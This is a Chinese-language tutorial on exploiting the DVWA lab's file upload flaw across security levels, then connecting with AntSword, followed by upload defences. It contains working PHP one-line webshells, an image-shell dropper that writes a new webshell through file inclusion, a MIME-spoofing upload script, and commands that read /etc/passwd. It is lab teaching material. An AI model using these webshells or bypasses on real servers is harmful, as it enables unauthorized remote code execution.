DVWA文件上传漏洞实战：从原理到Webshell连接完整指南

1. 项目概述从靶场到实战的攻防演练在网络安全的学习路径上动手实践永远是绕不开的一环。很多朋友学了一堆理论从SQL注入到XSS从命令执行到文件包含概念背得滚瓜烂熟但真给一个环境却不知道从何下手。这种感觉就像学了一本武功秘籍却从来没和人过过招。今天我们就来一次真刀真枪的“过招”目标就是DVWADamn Vulnerable Web Application靶场中的“文件上传”漏洞模块。这个靶场之所以经典就是因为它模拟了一个充满漏洞但环境可控的Web应用是新手入门和高手练手的不二之选。我们的目标很明确利用DVWA靶场的文件上传功能突破其设置的各种安全限制最终上传一个Webshell并用中国蚁剑AntSword这样的主流管理工具成功连接拿到对目标服务器的控制权。这整个过程模拟的正是攻击者在发现一个存在缺陷的上传点后如何一步步渗透的完整链条。为什么选择文件上传漏洞作为切入点因为它在实际渗透测试和CTF比赛中出现频率极高危害性极大一个不小心就能让攻击者直通服务器后台。而DVWA靶场恰好提供了从低到高四种安全等级完美展示了开发者如何从“毫无防护”到“层层设防”的演进过程也让我们能清晰地看到攻击者是如何见招拆招的。通过这次手把手的实战你不仅能学会如何绕过常见的客户端校验、MIME类型检查、文件扩展名黑名单/白名单甚至文件内容检查更能深刻理解“防御的深度”这个概念。更重要的是你会掌握将漏洞转化为实际控制能力的关键一步——Webshell的上传与连接。无论你是刚接触安全的新手还是想巩固Web漏洞利用技能的老兵这篇从环境搭建到最终拿Shell的全程实录都能给你带来最直接的收获。我们不止讲“怎么做”更会深入探讨“为什么这么做”以及“在实际环境中可能会遇到什么”。准备好了吗让我们进入DVWA的世界。2. 环境准备与靶场搭建2.1 DVWA靶场的部署与配置工欲善其事必先利其器。实战的第一步是拥有一个稳定、可复现的实验环境。DVWA靶场本质上是一个用PHP编写的Web应用因此我们需要一个支持PHP的Web服务器环境。对于初学者我强烈推荐使用集成环境包它能避免你在安装Apache、MySQL、PHP时遇到的各种依赖和配置冲突问题。在Windows上XAMPP和PHPStudy是两大热门选择在Linux如Kali上LAMP套件则是标准配置。这里我以在Windows本地使用PHPStudy为例进行说明其过程在其它平台上大同小异。首先从DVWA的官方GitHub仓库github.com/digininja/DVWA下载最新的源码压缩包。解压后你会得到一个名为DVWA-master的文件夹。接着打开PHPStudy启动Apache和MySQL服务。然后将整个DVWA-master文件夹复制到PHPStudy的网站根目录下例如phpstudy_pro/WWW/并可以将其重命名为简单的dvwa方便访问。关键的配置步骤来了。找到dvwa/config目录这里有一个config.inc.php.dist文件它是配置模板。我们将其复制一份并重命名为config.inc.php。用文本编辑器打开这个新文件找到数据库配置部分。你需要将$_DVWA[ db_user ]和$_DVWA[ db_password ]修改为你本地MySQL的账号密码PHPStudy默认是root/root。同时确保$_DVWA[ db_database ]为dvwa。还有一个重要设置是$_DVWA[ recaptcha_public_key ]和$_DVWA[ recaptcha_private_key ]它们用于登录时的验证码在DVWA官网可以免费申请一组Key如果只是本地学习也可以留空但部分功能如暴力破解在高级别下会受限。配置完成后在浏览器访问http://localhost/dvwa/setup.php。这个页面是DVWA的安装检查页。它会醒目地以红色提示你哪些配置有问题。最常见的问题是/dvwa/hackable/uploads/目录没有写权限以及/dvwa/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt文件不可写。解决方法很简单根据页面提示的路径去找到这两个目录或文件赋予其“可写”权限。在Windows上右键点击文件夹-属性-安全给Users或Everyone添加“修改”和“写入”权限即可。解决所有红色提示后点击页面底部的“Create / Reset Database”按钮。DVWA会自动创建数据库表并填入初始数据。成功后页面会跳转到登录界面默认账号密码是admin/password。注意强烈建议在虚拟机环境中进行此类实验。将DVWA、蚁剑等工具都安装在虚拟机里与主机隔离。这样即使操作失误也不会影响你真实的电脑系统同时也方便随时拍摄快照回滚到干净状态。2.2 蚁剑的安装与基础认识成功拿下Webshell后我们需要一个“客户端”来管理它。中国蚁剑AntSword就是一个功能强大、跨平台的开源Webshell管理工具。它采用Electron开发界面友好支持实时文件管理、数据库管理、虚拟终端、插件扩展等是渗透测试人员常用的利器。安装蚁剑非常简便。访问其GitHub发布页github.com/AntSwordProject/antSword下载对应你操作系统的最新版本压缩包如Windows的.zip。解压后直接运行目录中的AntSword.exeWindows或AntSwordLinux/macOS即可启动无需安装。首次启动它会要求你设置一个数据目录用于存储连接配置、插件和日志。选择一个你方便的位置即可。蚁剑的界面主要分为三块左侧是连接管理器可以添加、分类管理多个Webshell中间是功能操作区如文件管理、终端等底部是日志输出区。在开始实战前我们还需要准备一个关键的“弹药”——Webshell本身。Webshell是一段被上传到服务器、并能通过Web请求执行的脚本代码它为我们提供了一个远程控制服务器的Web界面。蚁剑支持多种脚本类型的Webshell如PHP、JSP、ASP等。由于DVWA是PHP环境我们需要一个PHP的Webshell。蚁剑的开发者很贴心地为我们提供了“编码器”和“一句话木马”模板。在数据目录下找到antSword/source/文件夹里面有一个shells.php文件打开后可以看到各种预定义的一句话木马代码。所谓“一句话木马”就是极其简短的Webshell其核心功能由客户端蚁剑通过POST请求传递加密的指令来实现服务端脚本只需负责解密和执行。一个经典的PHP一句话是?php eval($_POST[ant]);?。这段代码的意思是执行通过POST参数ant传递过来的内容。符号用于抑制错误信息eval()函数则执行字符串形式的PHP代码。在实战中我们往往不会直接使用这么原始的代码因为它太容易被安全软件检测到。蚁剑的编码器功能可以将这段原始代码进行各种混淆、加密生成变形后的一句话以绕过简单的WAF或杀毒软件检测。我们稍后会用到这个功能。3. 文件上传漏洞原理与DVWA关卡设计3.1 漏洞成因为什么文件上传如此危险在深入实战之前我们必须先搞清楚一个看似普通的文件上传功能为什么会成为致命的漏洞。其核心原因在于服务器对用户上传的文件信任过度且检查不足。想象一下网站提供了一个头像上传功能它期望用户上传的是.jpg或.png格式的图片。一个正常的流程是用户选择文件 - 浏览器提交 - 服务器接收文件 - 服务器进行一系列检查 - 检查通过后将文件保存到服务器的某个目录如/uploads/- 返回成功。危险就潜伏在“一系列检查”这个环节。如果检查存在缺陷或可以被绕过攻击者就可以上传一个非预期的文件例如一个包含恶意代码的PHP脚本。一旦这个恶意脚本被保存到服务器上并且该目录具有执行脚本的权限在Web服务器配置中通常脚本目录如/var/www/html/是有执行权限的攻击者就可以直接通过浏览器访问这个脚本的URL如http://target.com/uploads/shell.php。访问这个URL就相当于请求服务器执行这个PHP文件其中的恶意代码比如执行系统命令、读取数据库就会被运行。这样一来攻击者就通过Web请求间接地在服务器上执行了任意代码获得了控制权。这就是文件上传漏洞导致“获取Webshell”的基本原理。3.2 DVWA的四个安全等级攻防的阶梯DVWA靶场的精妙之处在于它将“文件上传”模块分为了四个安全等级Low, Medium, High, Impossible。这不仅仅是难度的提升更是一本生动的Web安全防御教科书。Low低级这个等级几乎没有任何防护。服务器代码只是简单地接收文件然后将其移动到上传目录。它不检查文件类型、不检查文件内容、也不重命名文件。这是最原始、最危险的状态模拟了开发者毫无安全意识的情况。攻击者可以毫无阻碍地上传任何后缀的文件包括.php、.jsp等可执行脚本。Medium中级在这里开发者开始意识到风险并引入了第一道防线——检查文件的MIME类型。MIME类型是由浏览器在HTTP请求头Content-Type中声明的文件类型例如图片是image/jpeg或image/png。Medium等级的代码会检查这个值只允许image/jpeg和image/png。然而MIME类型是完全可以由客户端浏览器或攻击者工具伪造的因此这道防线非常脆弱。High高级防御升级了。High等级不再轻信客户端传来的信息而是尝试通过检查文件内容的开头几个字节即文件头或Magic Number来判断文件真实类型。例如JPEG图片的文件头是FF D8 FF E0PNG图片的文件头是89 50 4E 47。同时它还会对上传后的文件进行重命名例如只保留扩展名文件名改为随机值这增加了攻击者直接访问已知文件名的难度。要绕过这个等级的防御需要更精巧的技巧比如制作“图片马”。Impossible不可能这个等级展示了目前公认的最佳实践。它综合运用了多种防御手段1.白名单验证文件扩展名只允许.jpg,.jpeg,.png等。2. 检查文件MIME类型。3. 检查文件真实类型文件头。4. 对上传的图片进行重采样Image Re-encoding即用GD库或ImageMagick等函数将上传的图片数据读取出来再重新生成一张全新的图片。这个操作会彻底剥离嵌入在图片中的任何额外代码如Webshell。5. 给文件一个完全随机的名称。要绕过这种组合防御理论上几乎不可能除非存在这些图像处理库本身的漏洞如GhostScript漏洞。我们的实战将从前三个等级逐一突破并在最后分析Impossible等级的防御思想。这个过程会让你清晰地看到安全的防御是如何层层加码的。4. 实战演练逐级突破文件上传限制4.1 Low等级毫无防备直捣黄龙将DVWA左侧的安全等级切换到Low然后进入File Upload模块。页面就是一个简单的文件选择框和上传按钮。这是我们梦寐以求的“理想”攻击环境。步骤一准备Webshell首先我们准备一个最基础的PHP一句话木马文件。打开记事本输入以下内容?php eval($_POST[cmd]);?将其保存为一个文本文件但后缀名改为.php例如shell.php。注意如果系统隐藏了已知文件扩展名你需要先在文件夹选项中取消隐藏否则你保存的可能是一个名为shell.php.txt的文件。步骤二直接上传在DVWA的Low等级上传页面直接选择我们刚创建的shell.php文件点击Upload。你会立刻看到上传成功的提示并显示文件保存的路径通常是类似于../../hackable/uploads/shell.php这样的链接。步骤三访问与验证复制这个文件路径在浏览器地址栏中将其拼接到你的DVWA域名后例如访问http://localhost/dvwa/hackable/uploads/shell.php。如果页面空白没有报错那就说明这个脚本已经成功存在于服务器上并且可以被访问。为了验证它确实可以执行代码我们可以用最简单的方法通过URL传参。访问http://localhost/dvwa/hackable/uploads/shell.php?cmdphpinfo();。注意我们的一句话是接收$_POST[cmd]这里用GET方式传参是无效的所以这个页面应该还是空白。真正的验证需要用蚁剑来连接我们稍后进行。实操心得在Low等级下攻击简单到令人发指。这提醒我们任何对外开发的文件上传功能都必须有最基本的过滤白名单机制是底线。4.2 Medium等级伪造MIME类型瞒天过海将安全等级切换到Medium。现在如果你再次尝试上传shell.php会发现页面提示“Your image was not uploaded.”。后台代码已经增加了对$_FILES[uploaded][type]的检查只允许image/jpeg和image/png。MIME类型存在于HTTP请求的Content-Type头部中是由浏览器根据文件后缀自动填写的。但我们完全可以通过抓包修改这个值。这里我们需要一个抓包工具Burp Suite是专业首选但对于初学者浏览器开发者工具或更简单的浏览器插件如ModHeader也能完成。方法一使用浏览器开发者工具以Chrome为例打开开发者工具F12切换到Network网络标签页。在DVWA上传页面选中shell.php文件点击上传按钮。在网络标签页中你会看到一条POST请求点击它。在请求详情中找到Request Headers部分可以看到Content-Type: multipart/form-data; boundary...。但我们需要修改的是请求体Body中的内容类型。在Request Payload或Form Data部分找到对应文件的部分通常会有一个Content-Type: application/octet-stream。注意在Multipart/form-data请求中每个文件部分都有自己的Content-Type头修改这里的值才是关键。然而使用开发者工具直接修改重发请求Replay比较麻烦更推荐下面两种方法。方法二使用Burp Suite抓包改包配置浏览器代理到Burp如127.0.0.1:8080并开启Burp的拦截功能Intercept is on。在DVWA页面选择shell.php并点击上传。请求会被Burp拦截。在Burp的拦截窗口中你能看到原始的HTTP请求。在请求体中找到对应shell.php文件的部分你会看到一行Content-Type: application/x-php或类似的。将其修改为Content-Type: image/jpeg。点击Forward按钮放行修改后的请求。回到浏览器你会发现上传成功了文件路径被返回。方法三使用Python脚本直接发送伪造请求对于喜欢自动化的朋友写个小脚本是最直接的方式。这能让你更深刻地理解HTTP协议。import requests url http://localhost/dvwa/vulnerabilities/upload/ # 替换为你的实际URL file_path shell.php # 需要先登录DVWA获取并携带Cookie session requests.Session() login_url http://localhost/dvwa/login.php login_data {username: admin, password: password, Login: Login} session.post(login_url, datalogin_data) # 准备上传的文件并手动指定其MIME类型 files {uploaded: (shell.php, open(file_path, rb), image/jpeg)} data {Upload: Upload} # 发送POST请求 response session.post(url, filesfiles, datadata) print(response.text)运行这个脚本确保已安装requests库同样可以成功上传。关键在于files字典中我们为文件元组指定了第三个参数image/jpeg这就是在伪造MIME类型。绕过Medium等级后访问上传文件的方式和Low等级一样。这个关卡告诉我们仅依赖客户端或请求头传来的信息进行校验是绝对不可靠的。4.3 High等级制作图片马暗度陈仓切换到High等级。此时如果你再用伪造MIME类型的方法上传纯PHP文件会发现失败了。因为High等级的代码使用了getimagesize()函数。这个函数会读取文件的前几个字节文件头来判断这是否是一个有效的图片。如果不是则拒绝上传。我们的对策是制作一个“图片马”Image Shell。即将一个真实的图片文件和一个Webshell代码拼接在一起使得文件既能通过getimagesize()的图片校验又包含可执行的PHP代码。制作图片马的方法准备素材找一个正常的JPEG或PNG图片例如normal.jpg以及我们的Webshell代码文件shell.php。Windows命令提示符下合成copy /b normal.jpg shell.php image_shell.jpg这条命令将normal.jpg和shell.php以二进制方式拼接生成一个新文件image_shell.jpg。用图片查看器打开这个新文件它依然显示为一张正常的图片因为图片查看器只读取文件头部的图片数据并渲染。但文件的末尾已经附加了我们全部的PHP代码。Linux终端下合成cat normal.jpg shell.php image_shell.jpg效果相同。上传与利用的挑战现在我们上传image_shell.jpg。High等级的检查会通过因为它的文件头是合法的图片格式。文件会被上传并且被重命名例如变成55a00c90c7c19.jpg。我们无法直接通过.php后缀访问它。那么如何利用这个藏在图片里的Webshell呢这里就需要结合DVWA的另一个漏洞——文件包含漏洞File Inclusion。如果网站存在文件包含漏洞攻击者就可以通过参数动态包含服务器上的任意文件如index.php?page../../uploads/55a00c90c7c19.jpg被包含的文件中的PHP代码会被执行无论它的后缀是什么。幸运的是DVWA的File Inclusion模块需将安全等级也调到Low或Medium正好提供了这样的环境。假设我们上传的图片马路径是../../hackable/uploads/55a00c90c7c19.jpg。进入DVWA的File Inclusion (Low)模块。观察URL通常是http://localhost/dvwa/vulnerabilities/fi/?pageinclude.php。我们将page参数的值修改为我们图片马的路径尝试包含它http://localhost/dvwa/vulnerabilities/fi/?page../../hackable/uploads/55a00c90c7c19.jpg访问这个链接。如果页面没有报错并且原本的页面内容消失了很可能意味着图片末尾的PHP代码已经被执行为了验证我们可以在制作图片马时把Webshell代码改成输出一句话比如?php echo Hacked!; ?然后看包含时是否输出了Hacked!。注意事项这种利用方式成功的关键在于“文件包含漏洞”的存在。在实际渗透中攻击者往往会先进行信息收集寻找可能的上传点和包含点如日志文件包含、PHP伪协议等再将它们串联起来形成攻击链。High等级的防御虽然增加了单独利用上传漏洞的难度但并未解决系统其他组件的安全问题。5. 连接Webshell蚁剑的配置与使用无论我们通过哪种方式上传了Webshell最终目标都是稳定地控制服务器。蚁剑就是我们的控制台。5.1 添加Webshell连接假设我们通过Low等级上传了纯PHP的shell.php其访问地址是http://localhost/dvwa/hackable/uploads/shell.php。打开蚁剑在左侧空白处右键选择添加数据。会弹出一个配置窗口需要填写以下核心信息URL地址填写Webshell的完整访问地址即http://localhost/dvwa/hackable/uploads/shell.php。连接密码填写你的一句话木马中定义的密码。我们之前用的例子是?php eval($_POST[cmd]);?这里的cmd就是连接密码。所以在蚁剑的“连接密码”处填写cmd。编码器这是蚁剑的核心功能之一用于对通信数据进行编码加密避免被WAF或IDS检测。默认的default不编码在实战中很容易被拦截。我们可以选择base64编码器。选择后蚁剑在发送指令时会将cmd参数的值先进行base64编码那么服务端的Webshell也需要相应的解码。因此我们需要一个配套的、支持base64解码的Webshell。生成配套的Webshell在蚁剑的数据目录antSword/source/下shells.php里提供了各种编码器对应的一句话。对于base64编码器对应的PHP一句话是?php eval(base64_decode($_POST[cmd]));?我们需要将这个版本的Webshell上传到服务器替换之前简单的版本。它会在执行前先对cmd参数进行base64解码。在蚁剑配置窗口中其他设置可以暂时保持默认。点击添加。如果一切正常左侧列表会出现一个新条目双击它蚁剑会尝试连接。5.2 功能初探文件管理与虚拟终端连接成功后主界面会切换到文件管理视图。这里就像是一个简化的FTP客户端你可以看到服务器上当前目录通常是Webshell所在目录的所有文件和文件夹。你可以进行上传、下载、删除、编辑、重命名等操作。通过这里你可以浏览整个网站的目录结构寻找配置文件如config.php、数据库文件、日志等敏感信息。更强大的功能是虚拟终端。在顶部的工具栏找到虚拟终端图标并点击。如果Webshell有执行系统命令的权限通常有你会打开一个命令行窗口默认可能是/var/www/html/dvwa/hackable/uploads目录。在这里你可以输入Linux命令如pwd查看当前路径ls -la查看文件whoami查看当前用户权限cat /etc/passwd查看系统用户等。实操心得第一次成功连接上Webshell并执行命令时那种感觉非常直观。你会立刻意识到这个漏洞的严重性——攻击者已经站在了服务器内部。在真实的渗透测试中拿到Webshell通常只是开始后续还有提权、横向移动、持久化等更复杂的步骤。在DVWA环境中由于权限受限通常是www-data用户你能做的事情有限但这正是学习内网渗透的基础。5.3 针对图片马的连接方式对于High等级下上传的图片马直接将其URL添加到蚁剑是无法连接的因为服务器并不会把.jpg文件当作PHP来解析。我们必须通过文件包含漏洞来“激活”它。这时蚁剑的“自定义请求头”或“附加插件”功能就派上用场了。但更通用的方法是我们利用文件包含漏洞创造一个“二次写入”的机会将一个纯净的Webshell写入服务器。利用文件包含漏洞写入新Webshell首先确认文件包含漏洞存在且可利用如DVWA FI模块Low等级。我们制作一个特殊的图片马其包含的PHP代码不是直接执行命令而是向服务器写入一个新的PHP文件。代码如下?php file_put_contents(antsword.php, ?php eval($_POST[pass]);?); ?这段代码的意思是当它被包含执行时会在当前目录即包含漏洞脚本所在目录通常是dvwa/vulnerabilities/fi/下创建一个名为antsword.php的文件内容是一句话木马。将上述代码制作成图片马并上传得到路径如../../hackable/uploads/xxx.jpg。通过文件包含漏洞去包含这个图片马http://localhost/dvwa/vulnerabilities/fi/?page../../hackable/uploads/xxx.jpg访问后如果没有任何报错很可能代码已执行并在dvwa/vulnerabilities/fi/目录下生成了antsword.php文件。现在我们就可以用蚁剑直接连接这个新生成的、纯净的PHP Webshell了http://localhost/dvwa/vulnerabilities/fi/antsword.php密码填pass。这种方法跳过了对图片马直接解析的依赖更稳定可靠。它展示了在渗透测试中如何利用一个漏洞文件上传去创造另一个更易于利用的漏洞直接访问的Webshell。6. 防御策略与安全编程思考通过攻破DVWA的前三个等级我们亲身实践了攻击者的手段。现在让我们站在防御者的角度看看Impossible等级是如何构建铜墙铁壁的并从中总结出文件上传功能的安全开发规范。6.1 Impossible等级防御机制拆解查看DVWA的impossible.php源码我们可以看到一套组合拳扩展名白名单$uploaded_ext strtolower( end( explode( ., $uploaded_name ) ) );然后检查$uploaded_ext是否在array( jpg, jpeg, png )中。这是最有效的一环只允许明确安全的类型。文件类型与大小检查使用getimagesize()确保是真实图片并检查文件大小。随机化文件名$target_file md5( uniqid() ) . . . $uploaded_ext;使用随机字符串重命名防止攻击者预测或遍历文件路径。图片重采样这是杀手锏。$img imagecreatefromjpeg( $temp_file ); imagejpeg( $img, $target_file, 100);代码将上传的临时图片文件用GD库函数重新创建一张全新的JPEG图片并保存。这个过程会丢弃原文件中的所有非图片数据即我们附加的Webshell代码只保留视觉像素信息。即使你上传了一个完美的图片马经过重采样后剩下的也只是一张干净的图片恶意代码被彻底剥离。这套组合防御使得攻击者几乎无法通过上传功能本身植入可执行代码。除非能利用GD库或ImageMagick等图像处理库自身的远程代码执行漏洞这类漏洞价值极高但很少见否则上传点就是安全的。6.2 安全开发指南基于DVWA的启示和业界最佳实践开发一个安全的文件上传功能至少要做到以下几点使用白名单永远不用黑名单只允许明确安全的扩展名如.jpg,.png,.pdf。黑名单禁止.php,.asp等永远会有遗漏新的可执行扩展名也可能出现。检查文件内容而非信任元数据使用getimagesize()、exif_imagetype()或文件头检查验证文件的真实类型是否与扩展名匹配。不要依赖$_FILES[‘file’][‘type’]或文件后缀。重命名文件使用随机算法如UUID、时间戳随机数生成新的文件名避免使用用户上传的原文件名防止路径遍历和覆盖攻击。设置严格的目录权限上传目录应配置为不可执行脚本。在Nginx中可以为上传目录配置location ~* ^/uploads/.*\.(php|php5)$ { deny all; }。在Apache中可以通过.htaccess文件设置php_flag engine off。这样即使恶意文件被上传也无法通过URL直接执行。将文件服务与应用程序分离最好使用独立的子域名如static.yourdomain.com或对象存储服务如OSS、COS来存放用户上传的文件。这些静态资源服务器通常不具备动态脚本执行能力从根本上杜绝了Webshell的执行。对图片进行重处理/重压缩如果业务允许像DVWA Impossible等级那样对上传的图片进行重采样、缩放或压缩。这不仅能剥离潜在恶意代码还能统一图片格式优化存储。限制文件大小在服务器端限制上传文件的最大尺寸防止拒绝服务攻击。病毒扫描对于企业级应用可以在服务器端集成病毒扫描引擎如ClamAV对上传的文件进行扫描。日志与监控记录所有上传操作用户、时间、文件名、IP等并设置异常告警如短时间内大量上传、尝试上传可疑类型文件。安全是一个持续的过程没有一劳永逸的解决方案。文件上传漏洞的防御核心思想就是“不信任任何用户输入”并通过纵深防御在多个层面设置关卡。从DVWA的四个等级我们清晰地看到了安全意识的演进和防御体系的构建。作为开发者应该直接以Impossible等级为基线来设计上传功能作为安全人员则要明白再坚固的防御也可能因为其他环节的疏漏如文件包含而被击穿因此全面的安全评估至关重要。